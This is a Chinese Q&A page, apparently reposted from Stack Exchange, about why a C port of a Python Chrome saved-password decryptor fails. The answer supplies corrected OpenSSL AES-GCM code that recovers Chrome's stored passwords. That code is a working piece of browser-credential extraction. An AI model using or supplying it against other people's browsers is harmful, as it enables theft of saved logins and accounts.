You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何Chrome密码解密C脚本失败而Python正常?UTF-8是诱因吗?

Chrome密码解密C版失败问题排查与C语言学习建议

问题背景

接触C语言仅2个月,将Python版Chrome密码恢复器改写为C版时遭遇解密失败。Python脚本可正常解密,但C版调用EVP_DecryptFinal_ex时提示Decryption failed,且已确认Python与C代码中使用的IV、密文、AES密钥字节完全一致。

Python核心解密代码

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
    try:
        print("Original Password: ", ciphertext)
        initialisation_vector = ciphertext[3:15]
        print("Initialization vector: ", initialisation_vector)
        encrypted_password = ciphertext[15:-16]
        print("Encrypted_password: ", encrypted_password)
        print("AES key: ", secret_key)
        cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()
        print("Decrypted Password: ", decrypted_pass)
        sys.exit()
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
        return ""

Python解密成功输出

Original Password:  b'v10\xb5\xee\n\xa4k\xd5\xc8@\xca\xcfWn\xcd\xcb\xbb\x16\x11gp\x81\xbf\x0e\xaf4:\xf3IJk4>\xee#\x1cl\x1c'
Initialization vector:  b'\xb5\xee\n\xa4k\xd5\xc8@\xca\xcfWn'
Encrypted_password:  b'\xcd\xcb\xbb\x16\x11gp\x81'
AES key:  b'\xa7\x91%\r08\xe0\xaf\x96\xd65i\x98;\xbb\x0c\xcb\xf4\tH\x90\xa3\x90U\xb6#\xb7!\x95R1\xbc'
Decrypted Password:  H***** (Right Password)

C版解密代码

void decryptPassword(char* encPass)
{
    // 12 byte initialization vector
    unsigned char initialization_vector[12];
    memcpy(initialization_vector, encPass + 3, 12);
    printf("Initialization vector: ");
    for (int i = 0; i < 12; i++) {
        printf("\\x%02x", initialization_vector[i]);
    }
    printf("\n");

    // Get encrypted password
    int encrypted_len = strlen(encPass) - 31;
    unsigned char encrypted_password[encrypted_len];
    memcpy(encrypted_password, encPass + 15, encrypted_len);
    printf("Encrypted_password: ");
    for (int i = 0; i < encrypted_len; i++) {
        printf("\\x%02x", encrypted_password[i]);
    }
    printf("\n");


    printf("AES key: ");
    for (int i = 0; i < 32; i++) {
        printf("\\x%02x", AESkey[i]);
    }
    printf("\n");
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;
    unsigned char plaintext[32];
    unsigned char tag[16];
    AES_KEY aes_key;
    if (AES_set_decrypt_key(AESkey, 256, &aes_key) < 0) {
        fprintf(stderr, "Could not set decryption key.");
        exit(1);
    }
    if (!(ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }
    if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL)) {
        handleErrors();
    }
    if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 12, NULL)) {
        handleErrors();
    }
    if (1 != EVP_DecryptInit_ex(ctx, NULL, NULL, AESkey, initialization_vector)) {
        handleErrors();
    }
    if (1 != EVP_DecryptUpdate(ctx, NULL, &len, encPass + 15, encrypted_len)) {
        handleErrors();
    }
    if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, encPass + 15 + encrypted_len)) {
        handleErrors();
    }
    if (1 != EVP_DecryptFinal_ex(ctx, plaintext, &len)) {
        fprintf(stderr, "Decryption failed.");
        exit(1);
    }
    plaintext_len = len;
    if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag)) {
        handleErrors();
    }
    EVP_CIPHER_CTX_free(ctx);
    printf("decrypted_password: %s\n", plaintext);
}

C版运行输出

Original Password: \x76\x31\x30\xb5\xee\x0a\xa4\x6b\xd5\xc8\x40\xca\xcf\x57\x6e\xcd\xcb\xbb\x16\x11\x67\x70\x81\xbf\x0e\xaf\x34\x3a\xf3\x49\x4a\x6b\x34\x3e\xee\x23\x1c\x6c\x1c
Initialization vector: \xb5\xee\x0a\xa4\x6b\xd5\xc8\x40\xca\xcf\x57\x6e
Encrypted_password: \xcd\xcb\xbb\x16\x11\x67\x70\x81
AES key: \xa7\x91\x25\x0d\x30\x38\xe0\xaf\x96\xd6\x35\x69\x98\x3b\xbb\x0c\xcb\xf4\x09\x48\x90\xa3\x90\x55\xb6\x23\xb7\x21\x95\x52\x31\xbc
Decryption failed.

问题排查与修正

1. 核心错误:EVP_DecryptUpdate调用参数错误

你在调用EVP_DecryptUpdate时将输出缓冲区设为NULL,这会导致解密过程无法生成明文数据,后续EVP_DecryptFinal_ex验证tag时必然失败。Python的AES.decrypt会直接处理密文并返回明文,而OpenSSL的EVP接口要求必须通过EVP_DecryptUpdate输出明文。

修正:将EVP_DecryptUpdate的输出缓冲区改为plaintext,并记录明文长度:

// 替换原EVP_DecryptUpdate调用
if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, encPass + 15, encrypted_len)) {
    handleErrors();
}
plaintext_len = len;

2. 冗余代码:无用的AES_set_decrypt_key调用

你使用的是OpenSSL的EVP高级加密接口,AES_set_decrypt_key是低级接口的函数,与当前上下文无关,直接删除即可,避免代码混淆。

3. 潜在问题:二进制数据的长度计算

strlen(encPass)仅适用于ASCII字符串,Chrome的加密密码是二进制数据,若其中包含\0空字节,strlen会提前终止,导致长度计算错误。正确做法是在传递加密数据时,同时传入其真实的字节长度,而非依赖strlen:

// 修改函数签名,增加长度参数
void decryptPassword(char* encPass, int encPass_len)
{
    // ...
    int encrypted_len = encPass_len - 3 - 12 - 16; // 总长度 - 前缀(3) - IV(12) - tag(16)
    // ...
}

4. 最终修正:添加字符串终止符

解密后的明文是UTF-8字节流,没有自动添加\0终止符,直接用printf("%s", plaintext)会输出乱码,需要手动添加:

plaintext[plaintext_len] = '\0';
printf("decrypted_password: %s\n", plaintext);

修正后的完整核心代码片段

void decryptPassword(char* encPass, int encPass_len)
{
    unsigned char initialization_vector[12];
    memcpy(initialization_vector, encPass + 3, 12);

    int encrypted_len = encPass_len - 3 - 12 - 16;
    unsigned char encrypted_password[encrypted_len];
    memcpy(encrypted_password, encPass + 15, encrypted_len);

    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;
    unsigned char plaintext[32];

    if (!(ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }
    if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL)) {
        handleErrors();
    }
    if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 12, NULL)) {
        handleErrors();
    }
    if (1 != EVP_DecryptInit_ex(ctx, NULL, NULL, AESkey, initialization_vector)) {
        handleErrors();
    }
    if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, encPass + 15, encrypted_len)) {
        handleErrors();
    }
    plaintext_len = len;
    if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, encPass + 15 + encrypted_len)) {
        handleErrors();
    }
    if (1 != EVP_DecryptFinal_ex(ctx, plaintext + plaintext_len, &len)) {
        fprintf(stderr, "Decryption failed.\n");
        EVP_CIPHER_CTX_free(ctx);
        exit(1);
    }
    plaintext_len += len;
    plaintext[plaintext_len] = '\0';
    
    EVP_CIPHER_CTX_free(ctx);
    printf("decrypted_password: %s\n", plaintext);
}

C语言学习建议

  • 重视二进制数据处理:C语言没有原生的字节数组类型,字符串和二进制数据都是char*,但两者本质不同。处理二进制数据时,必须携带真实长度,绝对不能用strlen、strcpy等字符串函数。
  • 吃透OpenSSL接口:OpenSSL的EVP接口是加密标准实现,一定要仔细阅读官方文档或可靠教程,不要凭Python的经验套用法则。比如GCM模式下,EVP_DecryptFinal_ex的作用是验证tag,而非生成最后一段明文(除非密文长度是块大小的整数倍)。
  • 调试技巧:用printf逐字节打印二进制数据对比,或者用GDB断点查看内存中的字节值,确认IV、密钥、密文、tag的每一个字节都与Python端一致。
  • 从基础库入手:先掌握C标准库的内存操作(memcpy、memset)、错误处理,再接触第三方库。避免跳过基础直接写复杂功能。
  • 多写小案例:比如先实现简单的AES-ECB加密解密,再过渡到GCM模式,逐步熟悉加密库的调用逻辑,不要一开始就处理Chrome密码这种带有格式的复杂场景。

内容的提问来源于stack exchange,提问作者M A I N

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.22 22:57:36